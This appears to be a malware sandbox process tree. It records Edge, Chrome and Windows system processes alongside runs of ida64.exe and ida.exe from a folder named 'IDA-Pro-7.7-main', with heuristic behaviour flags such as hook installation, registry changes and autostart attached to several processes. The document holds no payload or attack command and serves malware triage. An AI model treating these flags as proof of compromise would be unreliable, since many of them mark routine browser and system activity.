C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=876,i,12243075639951694016,2464919156540991808,262144 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=3916 /prefetch:102⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5892,i,12138876479911656330,8735013865581137706,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=4328 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5208,i,14765011885160332921,3636329081004185327,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=6900 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6808,i,17210409896525728275,7222156954207881296,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=4536 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5264,i,3241649201317230742,9527856356035325349,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=3344 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3404,i,4985934191524516723,6540556935446134447,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=6888 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3348,i,15321998890726897154,1337925701698922738,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=6716 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3428,i,9942474317674041567,14835243106323122597,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5992,i,1678299939766017654,6404970812351295431,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=3428 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3960,i,11051741661058540319,3776121267389155392,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6444,i,16947105767581427297,18372796449038373762,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=6116 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3428,i,11854640863067124500,3648768074336179531,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=5752 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5572,i,9756070073220383049,13648202809532065139,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=4516 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7180,i,13828032491739575480,4414209148346039996,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=5600 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5596,i,12428690248316508426,6232491932632575099,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4516,i,2519616480578846473,12846325918781620525,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=2536 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\system32\WerFault.exe"C:\Windows\system32\WerFault.exe" -k -lc WATCHDOG WATCHDOG-20260601-0243.dmp1⤵
-
C:\Windows\System32\DataExchangeHost.exeC:\Windows\System32\DataExchangeHost.exe -Embedding1⤵
-
C:\Users\Admin\Desktop\IDA-Pro-7.7-main\ida64.exe"C:\Users\Admin\Desktop\IDA-Pro-7.7-main\ida64.exe"1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004F0 0x00000000000004D01⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Desktop\IDA-Pro-7.7-main\ida.exe"C:\Users\Admin\Desktop\IDA-Pro-7.7-main\ida.exe"1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff91c06c728,0x7ff91c06c734,0x7ff91c06c7404⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1908,i,7903232221206779454,6223169268124415840,262144 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=1892 /prefetch:24⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2288,i,14678637770722116663,17805328961459434543,524288 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=1516 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2384,i,6688692385742159662,11865715232450603913,524288 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2328 /prefetch:134⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3300,i,4722705322347373480,9741348868662025802,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3304 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3588,i,9870092867876911467,11992768602080230520,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3600 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=2460,i,9246659155399460129,7957114487374537182,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4556 /prefetch:94⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4756,i,1293215445269266246,17433070372142713586,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4752 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4900,i,12045407881984352262,13128678456550478191,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5024 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4540,i,4844627882595666187,11775238159940557116,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5060 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=4836,i,2064143920554600314,109849299054457513,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5356 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=4748,i,1231436990192427202,17472493820407045806,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5472 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6236,i,15378914308622290721,1621698909792314231,524288 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=6240 /prefetch:144⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5260,i,16084247981080412385,18385431060449494434,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=6288 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5480,i,3843864782597904165,5336674110049400641,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5072 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6240,i,15627668369470021170,775480308854670347,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=6368 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6692,i,12869208440252387784,12731408851321714341,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=6668 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5532,i,8020302441735518246,3761303197129063072,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5288 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6332,i,14549929624989807067,14292609584363331549,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5032 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6796,i,3653846938614702815,13523272194067712927,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=6768 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6920,i,2585647358256669779,12848222865933129088,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=6932 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5532,i,572514258943107775,14830238798473190049,524288 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4856 /prefetch:144⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=7072,i,6151258188032622473,2027874892882719659,524288 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5300 /prefetch:144⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4884,i,5289267786187166518,3755019206849402932,524288 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=6592 /prefetch:144⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=5044,i,10609162530284933843,7351599682156619435,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5036 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --metrics-shmem-handle=4684,i,6658581171063450797,11418831628072927697,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4608 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=5280,i,7112529433729399088,12866837995656702687,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5532 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --metrics-shmem-handle=7388,i,8893987576755510677,3132920345100091230,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=7340 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --metrics-shmem-handle=7520,i,18231417608189024570,5687394841938338938,2097152 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=7528 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=7664,i,7129002948598214998,8692426946514983138,262144 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=7652 /prefetch:104⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=7200,i,16898092711556443141,10570607107904554166,524288 --field-trial-handle=1948,i,2365869015995160292,2771514533717627980,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4844 /prefetch:144⤵
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /03⤵
-
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
